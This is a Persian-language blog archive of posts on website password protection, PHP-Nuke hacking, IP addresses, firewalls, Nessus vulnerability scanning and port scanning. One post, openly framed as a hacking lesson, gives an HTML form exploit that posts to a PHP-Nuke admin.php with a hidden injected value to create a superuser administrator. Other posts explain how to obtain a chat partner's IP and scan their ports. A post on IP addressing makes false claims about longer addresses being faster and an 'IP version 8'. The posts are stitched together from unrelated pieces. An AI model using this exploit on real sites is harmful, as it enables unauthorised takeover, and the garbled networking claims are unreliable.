|
|
.1اگه از ديگر مرورگر ها استفاده کند نوشته شده در شنبه ششم مرداد 1386 ساعت 11:42 توسط مینا
شايد گاهي اوقات اين فكر به ذهنتان خطور كرده باشد كه چطور مي توانيد جلوي ورودبدون اجازه گردشگران اينترنتي را به يكي از صفحات وب سايت تان بگيريد . شايد تصميم گرفته باشيد كه قسمتي از سايت تان را فقط جهت بازديد افراد خاصي كه نزد شما اعتبار دارند روي وب قرار دهيد . براي اين كاردو روش فوري وجود دارد . اولين روش كه نوع ديناميك محسوب مي شود اين است كه يك پليگاه داده مثلا از نوع اكسس (MDB) برروي سايت قرار داده و ليستي از نام كاربر و رمز عبورهاي مجاز را در آن تعريف كنيد و برنامه اي با زباني مثل ASP بنويسيدت از كاربر رمز عبور را گرفته و آن را با محتويات پايگاه داده مقايسه كرده و تصميم بگيريد كه آيا كاربر، شخص مجازي براي ورود به آن صفحه محسوب مي شود يا نه. اين كار نياز به داشتن دانش كافي در زمينه اسكريپ نويسي و پايگاه داده ها دارد . اما در روش استاتيك شما مي توانيد تعدادي نام كاربري و رمز عبور مربوطه در جايي مثلا يك فايل باينري ذخيره كنيد وبا استفاده از يك برنامه كمكي ، پنجره اي براي دريافت و مقايسه رمز عبور كاربر با رمز عبورهاي موجود در فايل به وجود آوريد . برنامه Password Wizard اين برنامه امكان تعريف نام كاربري و رمز عبور استاتيك را بر روي سايت CoffeeCup.Com موجود و قابل دريافت و نصب است . اين برنامه در هنگام نصب ، نصب يك اپلت جاوايي به نام jolook.class را بر روي سرور شما قرار مي دهد . البته شما مي توانيد برنامه Password Wizard را روي كامپيوتر خودتان نصب كرده و فقط فايل مذكور را بر روي سرور و در محل قرار گرفتنم سايت تان بگذاريد . وظيفه اين اپلت اين است كه هنگام ورود كاربري و رمز عبور در اختياروي قرار مي دهد و عبارات وارد شده وي را با نام هاي ساخته شده توسط شما مقايسه مي كند . البته استفاده از اپلت مذكور فقط يكي از دو راه موجود در اين برنامه براي رمز گذاري صفحات وب است ، زيرا اين برنامه قادر است همين كار را با استفاده از برنامه Flash و ساخت يك فايل SWF انجام دهد . با اين كار مي توانيد حتي پنجره زيباتري را جهت دريافت رمز عبور ايجاد كنيد و مثلا جلوه يا نماي خاصي به آن بدهيد . اما مشكل فلش اين است كه بايد مطمئن باشيد كه همه كاربران برنامه الحاقي نمايش فايل هاي فلش به نام Flash Plug in را بر روي كامپيوتر خودشان نصب كرده باشند . در غير اين صورت پنجره ساخته شده توسط شما براي كاربر قابل نمايش نمي باشد . اما اين مشكل براي اپلت وجو ندارد و تمام مرورگرهاي وب امروزي قادر به اجرا و نمايش اپلت هاي جاوايي هستند . اين برنامه به آساني وبدون نياز داشتن اطلاعات قبلي در مورد زبان جاوا ، اپلت هاي مورد نياز تان را با ظاهري تقريبا حرفه اي برايتان مي سازد. نحوه كار با برنامه 1- پس از اجراي برنامه يك صفحه اوليه جهت انتخاب نوع روش براي ساخت پنجره رمز عبور نمايش داده مي شود . براي استفاده از اپلت بر روي دكمه java كليك كنيد . 2- در قسمت تنظيمات عمومي (General) ، ابعاد (عرض وارتفاع) پنجره مورد نظرتان را در دو قسمت WidthوHeight وارد كنيد . سپس در قسمت Link، مسير URLيا آدرس آن صفحه وبي را كه در صورت صحيح بودن كامه عبور رمز مي خواهيد باز شودقرار دهيد. در اين جا مي توانيد رنگ زمينه ومتن اپلت را هم مشخص كنيد. 3-در قسمت Login ابتدا يك پيغام جهت درخواست وارد كردن كلمه عبور(Preloginmessage) وارد كنيد وسپس در قسمت Loginn Message يك پيغام ديگر جهت نمايش در صورت صحيح بودن كلمه عبور وارد نماييد .آن گاه در قسمت Linkمسير صفحه وبي را كه در صورت صحيح نبودن كلمه رمز مي خواهيد به كاربرنشان دهيد وارد كنيد .اين صفحه وب قاعدتا بايد شامل يك متن جهت نشان دادن خطا ، دليل آن و يا چيزهاي مشابه آن باشد كه قبلا بايد طراحي كنيد و در وب سايت تان قراردهيد. 4-در قسمت Users، نوبت به تعريف نام كاربرو كلمه عبور مربوطه است . هر تعداد كاربري را كه مي خواهيد مي توانيد با كليك بر روي دكمه New User به سيستم معرفي كنيد . همچنين مي توانيد براي هر كاربرمشخص كنيد كه در صورت ورود آن كاربر و موفقيت آميز بودن عمليات Login، آيا بايد صفحه وب تعيين شده در قسمت URLمرحله 2 به وي نشان داده شود يا اين كه قصد داريد به طور استثنا يك صفحه وب ديگري را براي وي نمايش دهيد . در اين صورت صورت گزينه Use default link را ازحالت انتخاب خارج كرده و آدرس صفحه وب مورد نظر در قسمت Linkوارد نماييد. 5- درمرحله بعد بايد كد تشكيل شده توسط برنامه را كه با استاندارد HTML و با تگ مخصوص اپلت هاي جاوا به نام «APPLET» نوشته مي شود را با استفاده از دكمه مربوط در حافظه كپي كنيد. سپس صفحه وبي را كه براي ورود كاربران در نظر گرفته ايد دريك ويرايشگرمثل Notepad باز كرده كد مذكور را در جاي مناسب مثلا در ابتداي قسمت Body آن Pasteكنيد . 6- البته در اين برنامه، امكاني براي پيش نمايش اپلت ساخته شده، قبل ازانتقال به صفحه وب اصلي وجود دارد كه با استفاده از دكمه Test in Browser قابل مشاهده است . نتيجه گيري با استفاده از برنامه هايي مانند PassWord Wizard براي هركاربردهاي ساده رمز گذاري صفحات وب مناسب هستند و كاربران بدون در گير شدن با جزييات برنامه نويسي مي توانند به آساني براي بعضي قسمت هاي سايت شان رمز عبور عبور بگذارند . و ليكن براي كاربردهاي حرفه اي وسايت هايي كه حاوي داده هاي حياتي هستند ، استفاده از چنين برنامه هايي توصيه نمي گردد. در اين مقاله روش كار با اپلت جاوا را فراگرفتيد . مشابه همين روند را مي توانيد با استفاده از فايل هاي Flash نيز امتحان كنيد .
فعلا بای نوشته شده در شنبه نوزدهم اسفند 1385 ساعت 13:24 توسط مینا سلام دوستان خیلی ها دوست دارن سایت هک کنن ولی به علتهای مختلف یا نمیتونن وقت بزارن روش یا سایت امنیتش بالاست یا فرد دانش هک کردن رو نداره و... حالا در این درس به آموزش چندین روش برای آموزش هک متداول ترین فروم که PHP-Nuke است بپردازیم.
<form name="mantra" method="POST" action="http://www.sitename.com/admin.php"> USERNAME: <input type="text" name="add_aid"><br> NOME: <input type="text" name="add_name"><br> PASSWORD: <input type="text" name="add_pwd"><br> E-MAIL: <input type="text" name="add_email"><br> <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"><br> <input type="hidden" name="add_radminsuper" value="1"><br> <input type="hidden" name="op" value="AddAuthor"></p> <input type="submit" name="Submit" value="Create Admin"><br> </form>
خوب در قسمتی از کد نوشته شده: http://www.sitename.com/admin.php نوشته شده در پنجشنبه سوم اسفند 1385 ساعت 21:58 توسط مینا
نوشته شده در شنبه بیست و یکم بهمن 1385 ساعت 11:46 توسط مینا
کمک *کمک*کمک سلام به دوستاني كه دراين وبلاگ سر مي زنند ازدوست گلم درخواست كمك مي كنم به علت نداشتن دعوتنامه پرشين گيگ نرم افزار جلب هك را نمي توانم در وبلاگ بگذارم و ازدوستاني كه دعوتنامه دارنند به این بنده حقيركمك كنند ودرضمن دوستان بي نسيب نمانند و امروز لينك با كس در بلاگفا ساختم وكسي كه دعوتنامه بده واگر وبلاگ داشته باشد وبلاگ آن را درلينك باكس خود به ثبت مي رسانم ودوستان مي توانند در پايين ودركنار وبلاگ من ایمیل ارسال نمايند نوشته شده در دوشنبه شانزدهم بهمن 1385 ساعت 16:54 توسط مینا تغییر دادن IP ویا عوض کردن آن بدون برنامه حقه ی بعدی در مورد عوض کردن IP به صورت Manual هستش: Host Name . . . . . . . . . . . . : My Computer Name Here درضمن خواهش میکنم در خواست میل زدن رانداشته باشید فعلا بای نوشته شده در پنجشنبه دوازدهم بهمن 1385 ساعت 17:1 توسط مینا ما درباره ی ویندوز و دستورات آن در ۲۰۰۰ و مقداری هم tcp/ip یا همون transmission controll protocol /internet protocol حرف زدیم جالب است بدانید که هر چه آدرس آی پی طولانی تر یعنی xxx.yyy.zzz,......بیشتر باشد سرعت انتقال داده ها هم بیشتر است به طوری که آی پی ورژن ۸ به بعد سرعتی حدود ۴۰giga bit دارند یعنی عرض چند ثانیه میتونید هاردتون را به اون ور دنیا بفرستید این نوع ورژن از آی پی رو نمیدونم چطوری کار می کنن حتی میتونم بگم که دکترای کامپیوتر شریف هم اینو نخوندن خلاصه این آدرس آی پی یه چیز عظیم هست که هر کی توپ بلد باشه یه هکر حرفه ای هست و میتونه راحت حتی سرور سیا آمریکا که می گن قوی ترین و نا نفوذ ترین سرور دنیا است رو هک کنه شاید ما این کا ر و کردیم ( عمرا قسمت اول همانگونه كه انسانها براي ارتباط با يكديگربه زباني (جدا از زبان مادري ) مشترك نياز دارند , كامپيوتر ها نيز به قواعدي ( مستقل از نوع سيستم عامل ) احتياج دارند كه طبق آن قواعد بتوانند با همديگر ارتباط برقرار كنند . در ابتدا مدل OSI مورد قبول سازمان استاندارد جهاني قرار گرفت . در اين مدل وظايف و خدمات شبكه در 7 لايه تعريف شده بود :
آدرسها در اينترنت : اگه يه يوزر عادي هستيد كه هيچي !!! بايد از يكي خط بگيريد ?كه در مقابل هكرها از شما محافظت كنه !!!
سياست امنيتي يك يك شبكه مجموعه اي از قواعد حفاظتي است كه بنابر ماهيت شبكه در يكي از يه لايه ديوار آتش تعريف ميشوند . كارهايي كه در هر لايه از ديوار آتش انجام ميشود عبارتست از : در ضمن منبع این درس کتاب آموزش هک و ضد هک نوشته ی دکتر ابولفضل طاهریان ریزی صفحات ۴۰ تا ۲۰۰ به طور خلاصه است نوشته شده در یکشنبه یکم بهمن 1385 ساعت 14:4 توسط مینا نرمافزار Nessus چيست؟ Nessus يک نرمافزار براي Vulnerability Scanning است. اگر بخوام دقيقتر بگم بهترين نرمافزار Vul Scanning که به صورت Network-Based به کار ميره همين نرمافزار است. مهمترين ويژگي اين نرمافزار مجاني و Open-Source بودن آن است ( اگرچه تو ايران همهچي مجانيه! ) اين نرمافزار توسط Renaud Deraison نوشته شده و توسط او توسعه پيدا ميکند. الان که من دارم مقاله رو مينويسم، نسخه 2.0.7 اون ارائه شده است.ويژگي مهم ديگر اون داشتن حالت Client-Server است. فرض کنيد که از چند کامپيوتر به صورت شبکهاي استفاده ميکنيد. اگر بخواهيد در تعدادي از اين کامپيوترها از Nessus استفاده کنيد، کافي است فقط در يکي از آنها سرور Nessus و روي همه Client اونو اجرا کنيد. ولي اگه فقط يه کامپيوتر داريد و ميخواين روي اون از Nessus استفاده کنيد، هم کلاينت و هم سرور Nessus رو بايد نصب و اجرا کنيد.در حال حاضر Server نرمافزار Nessus فقط براي سيستمهاي عامل مبتني بر يونيکس مثل لينوکس، OpenBSD Unix و... در دسترس است ونسخه ويندوزي وجود نداره. پس اگه روي يک کامپيوتر هم کلاينت و هم سرور اونو نصب ميکنيد، سيستمعامل اون کامپيوتر بايد مبتني بر يونيکس باشه. به عبارت ديگه اگه از سيستمعامل ويندوز استفاده ميکنيد، وقت خودتون رو با خوندن اين مقاله تلف نکنيد! اما راجع به کلاينت Nessus بايد عرض کنم که نسخههاي ويندوز ( به نام NessusWX ) و نسخه جاوا و نيز نسخههاي مبتني بر يونيکس وجود داره. يعني اينکه اگه چند تا کامپيوتر به صورت شبکه در اختيار دارين، اوني که قراره سرور Nessus روش نصب بشه بايد مبتني بر يونيکس باشد و بقيه که کلاينت هستند، ميتونن هر چيزي باشند. اميدوارم متوجه شده باشين!من در اين مقاله فرض مي کنم که شما سيستمعامل لينوکس داريد و ميخواهيد هم سرور و هم کلاينت Nessus رو روي همون کامپيوتر نصب کنيد. براي استفاده از Nessus بايد لينوکس شما هم nmap و هم gtk و هم OpenSSL رو داشته باشه که معمولا داره ( فقط اگه nmap ندارين، يه فکري براش بکنيد!) - از کجا Nessus رو دانلود کنم؟ براي داونلود Nessus بايد به به آدرس http://www.nessus.org/download.html مراجعه کنيد. در اين صفحه ميتونيد آخرين نسخه از Nessus رو ببينيد که الان Nessus 2.0 هست که به صورت يک لينک داخل جدول خاکستري رنگ هستش. روي همون کليک کنيد، تا به يک صفحه ديگر منتقل شويد. در اين صفحه جديد دو تا جدول ميبينيد که يکي وسطهاي صفحه و ديگري آخرهاي صفحه است. بالاي جدول اولي نوشته شده: You can find the installer here ما از همين جدول استفاده ميکنيم. توجه کنيد که Nessus را ميتوان به سه شکل مختلف نصب کرد که ما همين روش که nessus-installer نام داره رو انتخاب ميکنيم. از همين جدول با توجه به منطقه جغرافيايي که هستيد، روي يکي از لينکها کليک کنيد ( هرچقدر اون کشور به شما نزديکتر باشه سرعت داونلود بالاتر ميره ولي در کل همه لينکها قرتيبازيه! هر کدوم رو خواستيد کليک کنيد ). شما به يک صفحه جديد منتقل ميشويد و در اين صفحه سه تا فايل وجود داره به نامهاي MD5 و README.txt و nessus-installer.sh که از اين سه تا nessus-installer.sh رو بايد داونلود کنيد که فکر کنم سه چهار مگي باشه :) در مورد فايل MD5 هم بگم که ميتونين داونلودش کنيد يا نکنيد. اگه خيلي وسواس داريد که مطمئن بشيد اين نرمافزار که داونلود ميکنيد دقيقا همونيه که Nessus.org توليد کرده ( يعني اينکه نرمافزار تغيير يافته نيست و کدهاي اضافي مثل spy-ware و ... اينا نداره) اين فايل رو هم ميتونيد داونلود کنيد، تا بعد از اينکه فايل nessus-installer.sh رو گرفتيد به کمک دستور md5sum در لينوکس اين موضوع رو تست کنيد. بنابراين فايل اصلي و لازم همون nessus-installer.sh هستش. - فايل nessus-installer.sh رو داونلود کردم. چطوري نصب کنم؟ اولا بايد در مود root يعني super-user به لينوکس login کرده باشيد. حالا shell لينوکس رو باز کرده و به دايرکتوري که فايل رو اونجا داونلود کردهايد وارد ميشويد. مثلا اگر در root/Desktop/ فايل رو داونلود کردهايد، مينويسيد: # cd /root/Desktop حالا دستور زير رو مينويسيد: # sh nessus-installer.sh بلافاصله صفحه پاک ميشه و نوشته زير مياد (البته صفحه پاک نميشه فقط اينکه انقدر نوشته مياد که به نظر ميرسه صفحه پاک شده): -------------------------------------------------------------------------------- NESSUS INSTALLATION SCRIPT -------------------------------------------------------------------------------- Welcome to the Nessus Installation Script ! This script will install Nessus 2.0.7 (STABLE) on your system. Please note that you will need root privileges at some point so that the installation can complete. Nessus is released under the version 2 of the GNU General Public License (see http://www.gnu.org/licences/gpl.html for details). To get the latest version of Nessus, visit http://www.nessus.org Press ENTER to continue دکمه Enter رو فشار ميدهيد. يه سري چرت و پرت نوشته ميشه و صفحه پاک شده و متن زير مياد: -------------------------------------------------------------------------------- Nessus installation : installation location -------------------------------------------------------------------------------- Where do you want the whole Nessus package to be installed ? [/usr/local] اين ميگه که Nessus رو کجا نصب کنم؟ شما دکمه Enter رو فشار بدين که در محل پيشفرض يعني usr/local/ نصب بشه. حالا صفحه پاک ميشه و نوشته زير مياد: -------------------------------------------------------------------------------- Nessus installation : Ready to install -------------------------------------------------------------------------------- Nessus is now ready to be installed on this host. The installation process will first compile it then install it Press ENTER to continue بازهم چرت و پرتها شروع به ظاهر شدن ميکنند ولي ايندفعه يکم بيشتر طول ميکشه که اراجيف تموم بشن ( اينا ابدا اراجيف نيستند ولي چون ما به صورت اتوماتيک داريم نصب ميکنيم، اصلا لزومي نداره فکرتون رو خراب بکنيد! ) حالا ميتونين يه چايي واسه خدتون بريزين و چند دقيقه استراحت کنيد. وقتي کار نصب تموم شد، صفحه زير ظاهر ميشه: -------------------------------------------------------------------------------- Nessus installation : Finished -------------------------------------------------------------------------------- Congratulations ! Nessus is now installed on this host . Create a nessusd certificate using /usr/local/sbin/nessus-mkcert . Add a nessusd user use /usr/local/sbin/nessus-adduser . Start the Nessus daemon (nessusd) use /usr/local/sbin/nessusd -D . Start the Nessus client (nessus) use /usr/local/bin/nessus . To uninstall Nessus, use /usr/local/sbin/uninstall-nessus . Remember to invoke 'nessus-update-plugins' periodically to update your list of plugins . A step by step demo of Nessus is available at : http://www.nessus.org/demo/ Press ENTER to quit يه Enter بزنيد که نصب تموم بشه. اين صفحه آخر اطلاعات مهمي داره که توضيح ميدم.اولين جمله اينه: Create a nessusd certificate using /usr/local/sbin/nessus-mkcert پس ما در Shell مينويسيم: # /usr/local/sbin/nessus-mkcert وقتي Enter بزنيم، صفحه پاک شده و متن زير ظاهر ميشه: ------------------------------------------------------------------------------- Creation of the Nessus SSL Certificate ------------------------------------------------------------------------------- This script will now ask you the relevant information to create the SSL certificate of Nessus. Note that this information will *NOT* be sent to anybody (everything stays local), but anyone with the ability to connect to your Nessus daemon will be able to retrieve this information. CA certificate life time in days [1460]: از همينجا تا آخر کار ۶ تا Enter به ترتيب ميزنيم تا کار ايجاد certification تموم بشه. به صورت زير: CA certificate life time in days [1460]: Server certificate life time in days [365]: Your country (two letter code) [FR]: Your state or province name [none]: Your location (e.g. town) [Paris]: Your organization [Nessus Users United]: بعد صفحه زير مياد: ------------------------------------------------------------------------------- Creation of the Nessus SSL Certificate ------------------------------------------------------------------------------- Congratulations. Your server certificate was properly created. /usr/local/etc/nessus/nessusd.conf updated The following files were created : . Certification authority : Certificate = /usr/local/com/nessus/CA/cacert.pem Private key = /usr/local/var/nessus/CA/cakey.pem . Nessus Server : Certificate = /usr/local/com/nessus/CA/servercert.pem Private key = /usr/local/var/nessus/CA/serverkey.pem Press [ENTER] to exit حالا آخرين Enter رو هم ميزنيم، تا کار تموم بشه.پس ما تا حالا هم nessus-installer.sh رو اجرا کرديم و هم SSL Certificate براي Nessus درست کرديم. حالا بايد يک user روي سرور nessus درست کنيم که بتونيم بعدا از طريق او به نرمافزار login کنيم. براي اينکار از دستور زير استفاده ميکنيم: # /usr/local/sbin/nessus-adduser به محض اجراي اين دستور متن زير ظاهر ميشه: Add a new nessusd user ---------------------- Login : اين يعني يک username وارد کن. اسم مورد نظر رو وارد ميکنيم و بعد سطر زير مياد: Authentication (pass/cert) [pass] : اين يعني روش هويتسنجي چي باشه. ما Enter ميزنيم که همون پيشفرض يعني pass بمونه. بعد سطر زير مياد: Login password : اينجا بايد پسورد براي يوزر رو وارد کنيم. اول يه نگاه به چپ، بعد يه نگاه به راست، بعد يه نگاه به عقب! حالا پسورد رو بنويسيد ( از کاراکتر * موقع وارد کردن پسورد خبري نيست. واسه همين مراسم رو بجا آورديم! )حالا اين متن ظاهر ميشه: User rules ---------- nessusd has a rules system which allows you to restrict the hosts that ali has the right to test. For instance, you may want him to be able to scan his own host only. Please see the nessus-adduser(8) man page for the rules syntax Enter the rules for this user, and hit ctrl-D once you are done : (the user can have an empty rules set) اينجا ميشه يه سري Rules واسه user تعريف کنيم که دامنه جاهايي که ميتونه اسکن کنه رو محدود کنيم، ولي فعلا لازم نيست، پس ترکيب ctrl-D رو فشار ميديم. حالا اين ظاهر ميشه: Login : xxxxxxxxxx Password : yyyyyyyyy DN : Rules : Is that ok ? (y/n) [y] يه Enter ميزنيم که کار تموم بشه.تبريک ميگم. نرمافزار nessus به همين راحتي نصب شد! - نرمافزار رو نصب کردم. حالا چطوري nessus را اجرا کنيم؟ ۱- هر بار که کامپيوتر رو restart ميکنيد، اگه بخواين از nessus استفاده کنيد، اول بايد سرور nessus رو اجرا کنيد. براي اجرا کردن سرور nessus که به اون nessus daemon يا به شکل خلاصه nessusd ميگن، دستور زير رو مينويسيم: # /usr/local/sbin/nessusd -D به اين راحتي سرور nessus راهاندازي ميشود.۲- حالا کلاينت رو اجرا ميکنيم. نکته مهم اينکه هر چند تا کلاينت که بخواين ميتونين اجرا کنيد. براي اين کار از دستور زير استفاده ميشود: # /usr/local/bin/nessus با اجراي اين دستور پنجره نرمافزار ظاهر ميشه. توجه کنيد که nessus در حالت متني هم کار ميکنه ولي استفاده از حالت گرافيکي راحتتر است. - پنجره کلاينت nessus باز شده است. چگونه از nessus استفاده کنيم؟ در صفحه اول login-name و password رو وارد کنيد. اگر براي بار اول login ميکنيد، ممکن است که پنجرهاي باز شود به اسم SSL Setup که داراي سه سطر با دکمه راديويي است که اولي را که به صورت پيشفرض انتخاب شده رو تغيير نميدهيم و دکمه OK رو فشار ميدهيم. ولي اگر بار اول نباشد، اين پنجره ظاهر نميشود و اگر username و password درست باشد، برگه دوم که Plugins نام دارد باز ميشود. که ظاهري شبيه به اين دارد: در مورد Plugins بايد توضيح بيشتري بدم. ميشه گفت Plugins قلب نرمافزار nessus است. مثلا فرض کنيد که nessus ميخواد تست کنه که آيا قرباني مشکلي به اسم Unicode bug دارد يا نه. واسه اين کار بايد يک Plugin خاص داشته باشد که اين مطلب رو تست کنه. Plugin ها به صورت فايلهاي جدايي هستند که معمولا به زبان NASL که مخصوص nessus است نوشته ميشوند (اگرچه ميتوان با توابع مخصوص nessus به زبان C هم Plugin نوشت ). در قسمت بالاي پنجره ميبينيد که در آن Plugins دستهبندي شدهاند مثل Windows و SNMP و ... هر کدوم را که انتخاب کنيد، در پايين پنجره ليست Plugins مرتبط ظاهر ميشه. و ميتوان اونها رو فعال يا غير فعال کرد. هر Plugins ي که فعال باشه، روي قرباني تست خواهد شد و اگه nessus تشخيص بده قرباني اون مشکل رو داره، اونو گزارش خواهد کرد. در حال حاضر نرمافزار nessus با بيش از هفتصد Plugin عرضه ميشه يعني ميتونه بيش از ۷۰۰ نوع حفره امنيتي ( و گاه اطلاعات مهم رو ) به ما ارائه بده و در واقع قدرت nessus در همين plugin هاست. مرتبا plugin هاي جديدي واسه حفرههاي امنيتي جديدي که کشف ميشن نوشته ميشه و به سايت اضافه ميشه که بعدا توضيح ميدم چطوري اين plugin هاي جديد رو داونلود کنيم.اگه بخوام بهصورت مختصر بگم، ما در اين برگه مشخص ميکنيم کدام Vul ها تست بشن روي سرور که nessus ببينه اون vul هست يا نه!بر خلاف عقيده بعضيها بايد عرض کنم که nessus سايت يا سروري رو hack نميکنه، فقط به ما کمک ميکنه که بدونيم واسه هک کردن اون سرور از چه راهي بايد وارد بشيم!نکته بعدي اينکه nessus بعضي از plugin ها رو به نام dangerous plugins معرفي ميکنه که plugin هايي هستند که اگه روي يه سرور تست بشوند ممکنه که کامپيوتر قرباني hang کنه يا کند بشه يا restart بشه. اگه بخوايم همه plugin ها روي قرباني تست بشه، دکمه Enable all را فشار ميديم و اگه بخوايم همه رو بجز اونايي که خطرناک هستند، تست کنيم، دکمه Enable all but dangerous plugins رو انتخاب ميکنيم و اگه بخوايم همه عير فعال بشوند، disable all رو کليک ميکنيم.برگه بعدي Prefs نام دارد. در اين برگه ميتوان تنظيماتي در مورد Plugin ها انجام داد. مثلا اگه لازم به Ping کردن باشه، ميشه مشخص کرد که TCP يا ICMP باشد. يا اگر اطلاعاتي راجع به SMB يا FTP مثل username يا password داريم وارد کنيم و ... معمولا اين برگه رو تغيير نميديم.برگه بعدي Scan Options است. در اين برگه ميتوان مشخص کرد چه port هايي اسکن شود و ... که اين برگه را هم تغيير نميديم. دقت کنيد که Port Scanning در nessus از طريق nmap صورت ميگيرد.آخرين برگه مهم Target Selection نام دارد که مشخص ميکند که کجا رو ميخوايم اسکن کنيم. چند مثال از مواردي که در قسمت target(s) ميشه نوشت رو ميگم:۱- اگه بخوايم ip به شماره ۱۹۲.۱۳۰.۱۲.۴۵ رو اسکن کنيم: 192.130.12.45 ۲- اگه بخوايم ip هايي رو سه رقم اول اون ۱۹۲ و ۱۳۰ و ۱۲ و رقم آخر هم بين ۱۰ تا ۳۰ باشد رو تست کنيم: 192.130.12.10-30 ۳- اگه بخوايم ip هايي رو که سه رقم اول همون بالاييها و رقم آخر از ۰ تا ۲۵۵ باشد رو اسکن کنيم، ميشود به دو صورت نوشت: 192.130.12.0-255 192.130.12.0/24 ۴- اگه بخوايم دو تا ip جدا رو تست کنيم، با يک کاما (,) از هم جدا ميکنيم: 192.130.12.25,192.125.46.120 ۵- اگه بخوايم از روي دومين يک سرور (سايت) رو اسکن کنيم، دومين رو مينويسيم: www.iums.ac.ir حالا که همهچي آماده است، دکمه Start the Scan رو از پايين پنجره کليک ميکنيم که کار اسکن شروع بشه. - بعد از کليک کردن Start the Scan چه اتفاقي ميافتد؟ اين پرسيدن داره؟! خوب اسکن شروع ميشه. توجه کنيد که با توجه به تعداد Plugin هاي انتخابي و و و ... زمان ميتونه تا ۳۰ دقيقه يا بيشتر هم طول بکشه ( يکي از ايرادهايي که به nessus وارد ميشه،کند بودن اونه ) خلاصه تو اين مدت بهتره بريد ناهارتون رو هم بخوريد! بعد از اتمام کار يه پنجره باز ميشه که بيان ميکنه چه حفرهاي امنيتي در کامپيوتر قرباني کشف شده است. اين حفرهها درجهبندي شده هستند. مثلا بعضيها در حد Low يعني کم خطر، بعضي در حد Medium ، بعضي در حد High يعني خطرناک و بعضي هم در حد Serious يعني فاجعه! هستند. اونايي که High يا Serious هستند معمولا اگه ازشون استفاده بشه، ميشه سرور رو هک کرد. البته بايد false positive رو هم در نظر داشت، يعني مواردي که nessus يک حفره رو گزارش ميکنه ولي حفرهاي در کار نيست! حالا شايد بپرسيد که وقتي nessus يه حفره رو کشف کرد، چظور از طريق اون حفره به کامپيوتر قرباني نفوذ کنيم؟همونطور که گفتم با خود nessus نميشه. اما nessus در اکثر موارد يه CVE به ما ميده که با کليک روي اون لينک ميتونيم، با کمي گشتن اينور و اونور exploit واسه اون حفره پيدا کنيم و دست به عمل کثيفي به اسم هک بزنيم! توجه کنيد که در خيلي از کشورها يه port Scanning ساده هم جرم محسوب ميشه، پس مراقب باشيد :)در همان پنجرهاي که نتايج رو نشون ميده، يه دکمه به اسم Save as وجود داره که به کمک اون ميشه نتايج رو در قالبهاي مختلفي مثل text و html با نمودارها و... ذخيره کرد؛ تا بعدا دقيقتر بررسي بشوند. - از ديدگاه يک هکر يا يک متخصص امنيت شبکه، nessus در چه جايگاهي است؟ مسلما جايگاه خيلي خيلي بلندي نيست! اين نرمافزار فقط ميتونه حفرههايي رو کشف کنه که plugin براش داشته باشه. از ديدگاه يک هکر، تجربه بسيار مهمتر از ابزاري چون nessus است ( ضمنا nessus آنقدر ردپا بجا ميذاره که قابل چشمپوشي نيست ) و از ديدگاه يک متخصص امنيت شبکه حتي اگر nessus هيچ حفره امنيتي را هم پيدا نکند،دليل بر امن بودن ۱۰۰٪ اون سرور نيست. مخلص کلام اينکه nessus نرمافزار خوبي است ولي خدا نيست!! - نکاتي راجع به nessus ۱- گفتم که Plugin ها بصورت فايلهاي جداگانه هستند. اگه بخواين ببينيد که اين فايلها چه شکلياند يا چه اسمهايي دارند يا اينکه در حال حاضر چند plugin داريد به دايرکتوري usr/local/lib/nessus/plugin/ برويد. با دستور زير : # cd /usr/local/lib/nessus/plugin # ls ۲- با تايپ دستور زير به فولدر usr/local/sbin/ رفته و دستور ls رو صادر کنيد: # cd /usr/local/sbin # ls فايلهاي زير رو خواهيد ديد: nessus-adduser nessus-mkcert nessus-update-plugins nessusd nessus-rmuser uninstall-nessus از بين اين فايلهاي اجرايي nessusd و nessus-mkcert و nessus-adduser رو قبلا توضيح دادم. حالا سه فايل ديگر رو توضيح ميدم:nessus-rmuser : همانطور که از اسمش بر ميآيد، ميتوان به کمک اون يک user خاص رو که قبلا با nessus-adduser ايجاد کردهايم رو پاک کنيم.uninstall-nessus : به کمک اين دستور ميتوان nessus رو از سيستم پاک کرد. nessus-update-plugins : اين مهمترين دستور اين شاخه است. فرض کنيد که چند هفته پيش آخرين نسخه nessus رو داونلود کردهايد و داريد استفاده ميکنيد. مسلما در اين مدت plugin هاي جديدي نوشته شده است. براي اينکه plugin هاي جديد رو دريافت کنيد، ار اين دستور استفاده ميکنيد. با اجراي آن با دستور زير، خود فايل اجرايي به سايت nessus.org کانکت شده و Plugin هاي شما رو تکميل ميکند: # /usr/local/sbin/nessus-update-plugins يادتون باشه که حداقل هفتهاي يکبار اين دستور رو اجرا کنيد. با توجه به سرعت connection شما به اينترنت و تعداد plugin های جديدی که بايد داونلود بشه، اجرای اين دستور ممکن است چند دقيقهای طول بکشد. نوشته شده در دوشنبه بیست و پنجم دی 1385 ساعت 14:45 توسط مینا
ّشماره ايست که به هر کامپيوتر متصل به اينترنت داده میشود تا بتوان بهکمک آن شماره به آن کامپيوترها دسترسی داشت. اين عدد برای کامپيوترهايی که حالت سرور دارند (مثلا سايتها) و نيز کامپيوترهای کلاينتی که معمولا به روشی غير از شمارهگيری (Dial Up) به اينترنت وصل هستند، عددی ثابت و برای ديگران عددی متغير است. مثلا هر بار که شما با شرکت ISP خود تماس گرفته و به اينترنت وصل میشويد، عددی جديد به شما نسبت داده میشود. ------------------------------------------------------------ بدست اوردن ip ديگران بدون نياز به برنامه: اگر در چت روم با شخصی در حال چت کردن هستيد از او بخواهيد يک فايل(عکس) برای شما بفرستد در هنگام دانلود فايل به منوی start رفته و بر روی گزينه run کليک کنيد ودر کادر باز شده ( در ويندوزXP هستيد cmd تايپ کنيد ،در ويندوز 98 commandتايپ کنيد ) يک صفحه داس مانند برای شما باز می شود که مانند دستور روبرو عمل کنيدc:\>netstat -n ------------------------------------------------------------ برای بد ست اوردن ip سايت می توانيم در همان command prampt از دستور ping استفاده کنيم مانند مثال اگر بخواهيم ip سايت yahoo را پيدا کنيم مانند دستور زير عمل می کنيم C:\>ping yahoo.com می بينيد که براحتی ip سايت yahoo به شما نشان خواهد داد ************************************************************** - Port ------------------------------------------------------------ روش بدست اوردن پورتهای باز : شما ميتوانيد با استفاده از ipeye و داشتن ip طرف مقابل پورتهای باز ان را پيدا کنيم ابتدا وارد cmd شده و مسير ipeye را فعال کنيد يعنی اينکه اگر ipeye درون درايوی :C وجود دارد ابتدا وارد درايو :C شده ودستور زير را تايپ کنيد. مثال ميخواهيم پورتهای باز اين ip10.0.0.50 را بدست بيا وريم C:\>ipeye 10.0.0.50 -syn -p 1 2000 اين دستور از پرت ۱ تا ۲۰۰۰ را scan می کند وبه شما نشان می دهد که کدام پورت 